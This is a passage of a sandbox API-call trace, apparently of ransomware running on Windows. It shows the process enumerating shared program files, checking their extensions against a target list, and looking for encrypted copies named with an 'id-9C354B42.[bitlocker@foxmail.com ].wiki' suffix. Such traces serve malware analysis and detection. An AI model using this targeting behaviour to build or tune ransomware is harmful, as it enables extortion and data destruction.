[0064.013] lstrlenW (lpString=".pdf") returned 4 [0064.013] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.013] lstrlenW (lpString=".xls") returned 4 [0064.013] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.013] lstrlenW (lpString=".xlsx") returned 5 [0064.013] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0064.013] lstrlenW (lpString=".ppt") returned 4 [0064.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.013] lstrlenW (lpString=".zip") returned 4 [0064.013] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.013] lstrlenW (lpString=".rar") returned 4 [0064.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.013] lstrlenW (lpString=".bz2") returned 4 [0064.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.013] lstrlenW (lpString=".7z") returned 3 [0064.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.013] lstrlenW (lpString=".dbf") returned 4 [0064.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.013] lstrlenW (lpString=".1cd") returned 4 [0064.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.013] lstrlenW (lpString=".jpg") returned 4 [0064.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.013] lstrlenW (lpString=".doc") returned 4 [0064.013] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.013] lstrlenW (lpString=".docx") returned 5 [0064.013] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0064.013] lstrlenW (lpString=".pdf") returned 4 [0064.014] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.014] lstrlenW (lpString=".xls") returned 4 [0064.014] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.014] lstrlenW (lpString=".xlsx") returned 5 [0064.014] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0064.014] lstrlenW (lpString=".ppt") returned 4 [0064.014] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.014] lstrlenW (lpString=".zip") returned 4 [0064.014] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.014] lstrlenW (lpString=".rar") returned 4 [0064.014] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.014] lstrlenW (lpString=".bz2") returned 4 [0064.014] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.014] lstrlenW (lpString=".7z") returned 3 [0064.014] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.014] lstrlenW (lpString=".dbf") returned 4 [0064.014] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.014] lstrlenW (lpString=".1cd") returned 4 [0064.014] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.014] lstrlenW (lpString=".jpg") returned 4 [0064.014] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.014] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.014] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0064.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0064.207] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3584) returned 1 [0064.207] CloseHandle (hObject=0x200) returned 1 [0064.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0064.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.207] lstrlenW (lpString=".doc") returned 4 [0064.207] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.207] lstrlenW (lpString=".docx") returned 5 [0064.207] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.207] lstrlenW (lpString=".pdf") returned 4 [0064.207] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.207] lstrlenW (lpString=".xls") returned 4 [0064.207] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.207] lstrlenW (lpString=".xlsx") returned 5 [0064.207] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.207] lstrlenW (lpString=".ppt") returned 4 [0064.207] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.207] lstrlenW (lpString=".zip") returned 4 [0064.207] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.207] lstrlenW (lpString=".rar") returned 4 [0064.207] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.207] lstrlenW (lpString=".bz2") returned 4 [0064.208] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.208] lstrlenW (lpString=".7z") returned 3 [0064.208] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.208] lstrlenW (lpString=".dbf") returned 4 [0064.208] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.208] lstrlenW (lpString=".1cd") returned 4 [0064.208] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.208] lstrlenW (lpString=".jpg") returned 4 [0064.208] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.208] lstrlenW (lpString=".doc") returned 4 [0064.208] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.208] lstrlenW (lpString=".docx") returned 5 [0064.208] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.208] lstrlenW (lpString=".pdf") returned 4 [0064.208] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.208] lstrlenW (lpString=".xls") returned 4 [0064.208] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.208] lstrlenW (lpString=".xlsx") returned 5 [0064.208] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.208] lstrlenW (lpString=".ppt") returned 4 [0064.208] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.208] lstrlenW (lpString=".zip") returned 4 [0064.208] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.208] lstrlenW (lpString=".rar") returned 4 [0064.208] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.208] lstrlenW (lpString=".bz2") returned 4 [0064.208] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.208] lstrlenW (lpString=".7z") returned 3 [0064.208] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.209] lstrlenW (lpString=".dbf") returned 4 [0064.209] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.209] lstrlenW (lpString=".1cd") returned 4 [0064.209] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0064.209] lstrlenW (lpString=".jpg") returned 4 [0064.209] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.209] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.209] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0064.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0064.297] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4096) returned 1 [0064.297] CloseHandle (hObject=0x1f0) returned 1 [0064.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0064.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.297] lstrlenW (lpString=".doc") returned 4 [0064.297] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.297] lstrlenW (lpString=".docx") returned 5 [0064.297] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.297] lstrlenW (lpString=".pdf") returned 4 [0064.297] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.297] lstrlenW (lpString=".xls") returned 4 [0064.297] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.297] lstrlenW (lpString=".xlsx") returned 5 [0064.297] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.297] lstrlenW (lpString=".ppt") returned 4 [0064.297] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.297] lstrlenW (lpString=".zip") returned 4 [0064.297] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.297] lstrlenW (lpString=".rar") returned 4 [0064.297] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.298] lstrlenW (lpString=".bz2") returned 4 [0064.298] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.298] lstrlenW (lpString=".7z") returned 3 [0064.298] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.298] lstrlenW (lpString=".dbf") returned 4 [0064.298] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.298] lstrlenW (lpString=".1cd") returned 4 [0064.298] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.298] lstrlenW (lpString=".jpg") returned 4 [0064.298] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.298] lstrlenW (lpString=".doc") returned 4 [0064.298] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.298] lstrlenW (lpString=".docx") returned 5 [0064.298] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.298] lstrlenW (lpString=".pdf") returned 4 [0064.298] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.298] lstrlenW (lpString=".xls") returned 4 [0064.298] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.298] lstrlenW (lpString=".xlsx") returned 5 [0064.298] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.298] lstrlenW (lpString=".ppt") returned 4 [0064.298] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.298] lstrlenW (lpString=".zip") returned 4 [0064.298] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.298] lstrlenW (lpString=".rar") returned 4 [0064.298] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.298] lstrlenW (lpString=".bz2") returned 4 [0064.298] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.298] lstrlenW (lpString=".7z") returned 3 [0064.298] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.299] lstrlenW (lpString=".dbf") returned 4 [0064.299] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.299] lstrlenW (lpString=".1cd") returned 4 [0064.299] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0064.299] lstrlenW (lpString=".jpg") returned 4 [0064.299] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.299] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.299] lstrlenW (lpString="InkWatson.exe.mui") returned 17 [0064.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0064.412] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9216) returned 1 [0064.412] CloseHandle (hObject=0x228) returned 1 [0064.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0064.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.413] lstrlenW (lpString=".doc") returned 4 [0064.413] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.413] lstrlenW (lpString=".docx") returned 5 [0064.413] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0064.413] lstrlenW (lpString=".pdf") returned 4 [0064.413] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.413] lstrlenW (lpString=".xls") returned 4 [0064.413] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.413] lstrlenW (lpString=".xlsx") returned 5 [0064.413] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0064.413] lstrlenW (lpString=".ppt") returned 4 [0064.413] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.413] lstrlenW (lpString=".zip") returned 4 [0064.413] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.414] lstrlenW (lpString=".rar") returned 4 [0064.414] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.414] lstrlenW (lpString=".bz2") returned 4 [0064.414] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.414] lstrlenW (lpString=".7z") returned 3 [0064.414] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.414] lstrlenW (lpString=".dbf") returned 4 [0064.414] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.414] lstrlenW (lpString=".1cd") returned 4 [0064.414] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.414] lstrlenW (lpString=".jpg") returned 4 [0064.414] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.414] lstrlenW (lpString=".doc") returned 4 [0064.414] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.414] lstrlenW (lpString=".docx") returned 5 [0064.414] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0064.414] lstrlenW (lpString=".pdf") returned 4 [0064.414] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.414] lstrlenW (lpString=".xls") returned 4 [0064.414] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.414] lstrlenW (lpString=".xlsx") returned 5 [0064.414] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0064.414] lstrlenW (lpString=".ppt") returned 4 [0064.414] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.414] lstrlenW (lpString=".zip") returned 4 [0064.414] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.414] lstrlenW (lpString=".rar") returned 4 [0064.414] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.414] lstrlenW (lpString=".bz2") returned 4 [0064.415] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.415] lstrlenW (lpString=".7z") returned 3 [0064.415] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.415] lstrlenW (lpString=".dbf") returned 4 [0064.415] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.415] lstrlenW (lpString=".1cd") returned 4 [0064.415] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0064.415] lstrlenW (lpString=".jpg") returned 4 [0064.415] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.415] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.415] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0064.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0064.415] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=22528) returned 1 [0064.415] CloseHandle (hObject=0x228) returned 1 [0064.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0064.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.416] lstrlenW (lpString=".doc") returned 4 [0064.416] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.416] lstrlenW (lpString=".docx") returned 5 [0064.416] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.416] lstrlenW (lpString=".pdf") returned 4 [0064.416] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.416] lstrlenW (lpString=".xls") returned 4 [0064.416] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.416] lstrlenW (lpString=".xlsx") returned 5 [0064.416] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.416] lstrlenW (lpString=".ppt") returned 4 [0064.416] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.416] lstrlenW (lpString=".zip") returned 4 [0064.416] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.416] lstrlenW (lpString=".rar") returned 4 [0064.416] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.416] lstrlenW (lpString=".bz2") returned 4 [0064.416] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.416] lstrlenW (lpString=".7z") returned 3 [0064.416] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.416] lstrlenW (lpString=".dbf") returned 4 [0064.416] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.417] lstrlenW (lpString=".1cd") returned 4 [0064.417] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.417] lstrlenW (lpString=".jpg") returned 4 [0064.417] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0064.417] lstrlenW (lpString=".doc") returned 4 [0064.417] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.417] lstrlenW (lpString=".docx") returned 5 [0064.417] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.417] lstrlenW (lpString=".pdf") returned 4 [0064.417] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.417] 